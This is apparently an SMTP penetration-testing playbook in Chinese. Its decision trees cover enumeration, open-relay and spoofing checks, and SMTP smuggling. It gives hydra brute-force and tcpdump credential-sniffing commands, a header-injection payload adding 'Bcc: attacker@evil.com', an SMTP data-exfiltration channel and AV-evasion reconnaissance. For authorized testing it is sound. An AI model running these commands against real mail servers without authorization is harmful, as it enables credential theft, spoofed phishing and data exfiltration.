smtp-pentesting

SMTP 渗透测试方法论 (25/465/587)

深入参考

• SMTP 命令、枚举载荷、伪造脚本、注入语法大全 -> 读 references/smtp-commands.md

---

整体决策树

发现 25/465/587 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ Banner 抓取 (nc / openssl)
│   ├─ EHLO 命令获取支持的扩展列表
│   ├─ 识别 MTA 软件与版本 (Postfix / Sendmail / Exchange / hMailServer)
│   └─ NTLM 认证探测 (Exchange/IIS) -> 泄露内部主机名/域名
├─ Phase 2: 用户名枚举
│   ├─ VRFY 命令 -> 直接验证用户是否存在
│   ├─ EXPN 命令 -> 展开邮件列表
│   ├─ RCPT TO 命令 -> 通过响应码判断用户存在性
│   └─ 自动化工具 (smtp-user-enum / Metasploit / Nmap)
├─ Phase 3: 开放中继测试
│   ├─ 手动测试: 从外部域发送到外部域
│   ├─ Nmap smtp-open-relay 脚本
│   └─ 判断 mynetworks 配置是否过宽
├─ Phase 4: 邮件伪造
│   ├─ 检查 SPF 记录 -> dig txt domain.com
│   ├─ 检查 DKIM -> dig selector._domainkey.domain.com TXT
│   ├─ 检查 DMARC -> dig _dmarc.domain.com TXT
│   ├─ 判断伪造可行性
│   │   ├─ 无 SPF / SPF ~all / 无 DMARC -> 高可行
│   │   ├─ DMARC p=none -> 中可行 (不拒绝)
│   │   └─ DMARC p=reject + SPF -all -> 低可行
│   └─ SMTP Smuggling -> 绕过 SEG/邮件网关
├─ Phase 5: 凭据攻击
│   ├─ 暴力破解 (hydra / Metasploit)
│   ├─ 密码喷洒 (常见弱口令)
│   └─ 嗅探明文认证 (端口 25 无 TLS)
├─ Phase 6: SMTP 命令注入
│   ├─ CRLF 注入 -> 附加额外收件人/头部
│   ├─ 头部注入 -> 通过 Web 表单注入邮件头
│   └─ SMTP Smuggling -> 利用 MTA 解析差异
└─ Phase 7: 已知漏洞
    ├─ 版本匹配 CVE 搜索
    ├─ Nmap smtp-vuln-* 脚本
    └─ 读 references/smtp-commands.md #CVE清单

---

Phase 1: 服务发现与版本识别

1.1 Banner 抓取与连接

连接 SMTP 服务
├─ 明文 (端口 25)
│   └─ nc -vn <IP> 25
├─ SSL/TLS (端口 465)
│   └─ openssl s_client -crlf -connect <IP>:465
├─ STARTTLS (端口 587)
│   └─ openssl s_client -starttls smtp -crlf -connect <IP>:587
└─ 获取 Banner 后判断 MTA 类型
    ├─ "Postfix" -> Linux, 检查版本
    ├─ "Sendmail" -> Linux/Unix
    ├─ "Microsoft ESMTP" -> Exchange/IIS
    ├─ "hMailServer" -> Windows, 常见于 HTB
    └─ "Exim" -> Linux, 检查 CVE

1.2 EHLO 扩展探测

# 连接后发送 EHLO 获取服务器支持的命令和扩展
# 关键关注: VRFY, EXPN, AUTH, STARTTLS, SIZE, DSN, NTLM
nmap -p25 --script smtp-commands <IP>

关键判断:

• VRFY 启用 -> 直接进入 Phase 2 用户枚举
• AUTH 支持 -> 可尝试凭据攻击 (Phase 5)
• AUTH NTLM -> 信息泄露探测 (见 1.3)
• 无 STARTTLS -> 可嗅探明文凭据

1.3 NTLM 认证信息泄露

当 SMTP 服务器支持 NTLM 认证时 (常见于 Exchange/IIS)，可获取内部主机名、域名、OS 版本。

# Nmap 自动化探测
nmap -p 25,587 --script smtp-ntlm-info <IP>

泄露信息: 内部主机名、AD 域名、OS 版本号 -- 对后续攻击路径规划有价值。

1.4 内部服务器名泄露

发送不完整 MAIL FROM -> 服务器可能自动补全
├─ MAIL FROM: me
│   └─ 响应: 250 2.1.0 me@PRODSERV01.somedomain.com
└─ 泄露内部主机名

1.5 MX 记录查询

# 查找目标组织的邮件服务器
dig +short mx target.com

---

Phase 2: 用户名枚举

2.1 枚举方法决策树

用户名枚举
├─ 方法 1: VRFY (最直接)
│   ├─ VRFY root -> 250 = 存在
│   └─ VRFY invalid -> 550 = 不存在
│   注意: 很多现代 MTA 禁用或返回统一响应
├─ 方法 2: EXPN (展开邮件列表)
│   ├─ EXPN root -> 250 展开为实际地址
│   └─ 可发现邮件列表和别名映射
│   注意: 大多数服务器已禁用
├─ 方法 3: RCPT TO (最可靠)
│   ├─ 先发送 MAIL FROM:<any@any.com>
│   ├─ RCPT TO:<user@target.com>
│   │   ├─ 250 Recipient ok = 用户存在
│   │   └─ 550 User unknown = 不存在
│   └─ 适用于 VRFY/EXPN 被禁用的场景
└─ 方法 4: 自动化工具
    ├─ smtp-user-enum -M VRFY -U users.txt -t <IP>
    ├─ smtp-user-enum -M RCPT -U users.txt -t <IP>
    ├─ Metasploit: auxiliary/scanner/smtp/smtp_enum
    └─ Nmap: nmap --script smtp-enum-users <IP>

2.2 DSN 报告利用

向目标组织发送邮件到无效地址，退信 (NDR) 头部可能泄露:

• 内部邮件服务器 IP
• 反病毒软件信息 (X-Virus-Scanned)
• 邮件网关/SEG 类型
• 内部路由拓扑

EICAR 测试: 发送 EICAR 测试文件可探测 AV 引擎类型，用于后续规避。

---

Phase 3: 开放中继测试

3.1 检测决策树

开放中继测试
├─ 自动化检测
│   └─ nmap -p25 --script smtp-open-relay <IP> -v
├─ 手动测试 (telnet/nc 连接后)
│   ├─ MAIL FROM:<attacker@external.com>
│   ├─ RCPT TO:<anyone@another-external.com>
│   ├─ DATA -> 写入邮件内容 -> .
│   └─ 如果 250 OK -> 确认开放中继
└─ 判断影响
    ├─ 开放中继 -> 可用于发送钓鱼邮件/垃圾邮件
    ├─ 可用于绕过 SPF (从合法 IP 发送)
    └─ 严重配置缺陷，报告中标记高危

3.2 SEG 绕过 (邮件安全网关)

绕过邮件安全网关 (SEG)
├─ 检查所有接受的域的 MX 记录
│   ├─ dig +short mx domain.com
│   └─ 对比 MX 是否指向 SEG 还是直接指向邮件服务器
├─ 测试 <tenant>.onmicrosoft.com
│   ├─ MX 始终指向 Exchange Online
│   └─ 如未锁定 -> 发送到 user@<tenant>.onmicrosoft.com 绕过 SEG
└─ MX 不一致 -> 直接向邮件服务器投递，跳过 SEG 检查

---

Phase 4: 邮件伪造

4.1 防伪造机制检查

检查目标域邮件安全配置
├─ SPF 检查
│   ├─ dig txt target.com | grep spf
│   ├─ 关注结尾: -all (严格) / ~all (软拒) / ?all (中立) / +all (全允许)
│   └─ 无 SPF 记录 -> 伪造可行性高
├─ DKIM 检查
│   ├─ 需要知道 selector (从邮件头 DKIM-Signature d= s= 获取)
│   └─ dig <selector>._domainkey.target.com TXT
├─ DMARC 检查
│   ├─ dig _dmarc.target.com TXT
│   ├─ p=none -> 不执行策略，伪造可行
│   ├─ p=quarantine -> 进垃圾箱，部分可行
│   └─ p=reject -> 直接拒绝，需要更高级绕过
└─ 额外检查
    ├─ MTA-STS: dig _mta-sts.target.com TXT
    ├─ BIMI: dig default._bimi.target.com TXT
    └─ STARTTLS 支持: openssl s_client -starttls smtp -connect mx:25

4.2 伪造可行性判断

综合判断
├─ 高可行: 无 SPF + 无 DMARC
├─ 高可行: SPF ~all + DMARC p=none
├─ 中可行: SPF -all + DMARC p=none (被标记但不拒绝)
├─ 低可行: SPF -all + DMARC p=quarantine (进垃圾箱)
├─ 极低: SPF -all + DMARC p=reject (直接拒绝)
└─ 绕过手段
    ├─ 子域伪造: 子域可能没有独立 SPF/DMARC
    ├─ SMTP Smuggling: 利用 MTA 解析差异注入邮件
    ├─ DKIM 签名: 自己生成密钥对签名 (接收方无法验证但显示已签名)
    └─ 相似域名: 注册近似域名 (如 target-mail.com)

4.3 发送伪造邮件

发送方式选择
├─ 命令行工具
│   ├─ swaks -- 最灵活的 SMTP 测试工具
│   ├─ sendEmail -- 简单发送
│   └─ Python smtplib -- 高度可定制
├─ 在线工具 (仅用于验证)
│   ├─ emkei.cz
│   └─ anonymailer.net
└─ 自动化工具
    ├─ magicspoofing -- 自动检查 SPF/DKIM/DMARC 并伪造
    └─ mailspoof -- 检查 SPF/DMARC 配置缺陷

-> 读 references/smtp-commands.md 获取完整的伪造邮件脚本和命令

---

Phase 5: 凭据攻击

5.1 攻击路径选择

SMTP 凭据攻击
├─ 暴力破解
│   ├─ hydra -l user@target.com -P wordlist.txt smtp://<IP>
│   ├─ hydra -l user@target.com -P wordlist.txt -s 587 <IP> smtp
│   ├─ Metasploit: auxiliary/scanner/smtp/smtp_enum
│   └─ 注意: SMTP 通常无锁定策略，但要控制速率
├─ 密码喷洒
│   └─ 已枚举用户列表 + 常见弱口令逐个测试
├─ 嗅探明文凭据
│   ├─ 端口 25 无 TLS -> 可嗅探 AUTH PLAIN/LOGIN
│   └─ tcpdump -i eth0 port 25 -A | grep -i "AUTH\|LOGIN\|PASS"
└─ NTLM 哈希捕获
    ├─ 如果支持 AUTH NTLM
    └─ 可配合 Responder 捕获 NetNTLMv2 哈希

---

Phase 6: SMTP 命令注入

6.1 注入类型决策树

SMTP 注入场景
├─ CRLF 注入 (通过 SMTP 协议层)
│   ├─ 在 MAIL FROM 或 RCPT TO 中注入 \r\n
│   ├─ 注入额外 RCPT TO -> 添加隐藏收件人
│   └─ 注入额外头部 -> 控制邮件内容/路由
├─ 邮件头注入 (通过 Web 应用)
│   ├─ Web 联系表单的邮件发送功能
│   ├─ 在 From/Subject/CC 字段注入 \r\nBcc: attacker@evil.com
│   └─ 可用于发送任意邮件
├─ SMTP Smuggling
│   ├─ 利用不同 MTA 对消息边界的解析差异
│   ├─ 在 DATA 段中注入: \r\n.\r\nMAIL FROM:...
│   └─ 绕过 SPF/DKIM/DMARC 检查
└─ Postfix 配置利用
    ├─ /etc/postfix/master.cf 中的脚本执行
    └─ flags=Rq user=xxx argv=/path/to/script

-> 读 references/smtp-commands.md 获取注入载荷和 Smuggling 技术细节

---

Phase 7: 已知漏洞

7.1 漏洞匹配决策树

SMTP MTA 版本已知
├─ Postfix
│   └─ 搜索: searchsploit postfix
├─ Sendmail
│   ├─ 老版本存在大量 RCE (Sendmail 8.x 系列)
│   └─ searchsploit sendmail
├─ Exim
│   ├─ CVE-2019-10149 (The Return of the WIZard) -> Exim 4.87-4.91 RCE
│   └─ searchsploit exim
├─ Microsoft Exchange
│   ├─ ProxyLogon (CVE-2021-26855) / ProxyShell
│   └─ 独立 skill 处理
├─ hMailServer
│   ├─ 默认凭据 / 弱加密存储
│   └─ 管理端口 7000 (单独测试)
├─ OpenSMTPD
│   ├─ CVE-2020-7247 -> RCE (OpenSMTPD < 6.6.2)
│   └─ searchsploit opensmtpd
└─ 批量漏洞扫描
    ├─ nmap --script smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP>
    └─ nmap --script=smtp-commands,smtp-enum-users,smtp-vuln* -p 25 <IP>

7.2 Nmap SMTP 漏洞脚本

# 全面 SMTP 漏洞扫描
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP>

-> 读 references/smtp-commands.md #CVE清单 获取详细漏洞信息和利用方式

---

Postfix 配置审计 (Linux 目标)

获取访问权限后检查 Postfix 配置文件中的危险设置:

关键配置文件:

• /etc/postfix/main.cf -- 主配置
• /etc/postfix/master.cf -- 服务定义 (可能含脚本执行)
• /etc/aliases -- 邮件别名 (可能泄露用户信息)
• sendmail.cf / submit.cf -- Sendmail 配置

---

邮件头部信息收集

当能够使目标发送邮件 (如通过 Web 联系表单) 时:

邮件头分析
├─ 获取邮件头的途径
│   ├─ 让目标通过联系表单发邮件给你
│   ├─ 发送到不存在地址触发 NDR 退信
│   └─ 发送 EICAR 测试文件触发 AV 通知
├─ 可获取的信息
│   ├─ 内部 IP 地址和网络拓扑
│   ├─ 邮件服务器软件和版本
│   ├─ 反病毒/反垃圾邮件引擎 (X-Virus-Scanned)
│   ├─ 邮件网关/SEG 类型
│   └─ 内部路由路径 (Received 头)
└─ 利用价值
    ├─ 发现内部主机 -> 可用于后续攻击
    └─ 识别 AV 引擎 -> 针对性规避

---

数据外传 (通过 SMTP)

当其他出站通道被阻断时，SMTP 可作为数据外传通道:

SMTP 数据外传
├─ 目标可出站到端口 25 -> 直接 SMTP 外传
├─ 编码数据为邮件正文或附件
└─ 通过合法邮件服务器中继 (如果是开放中继)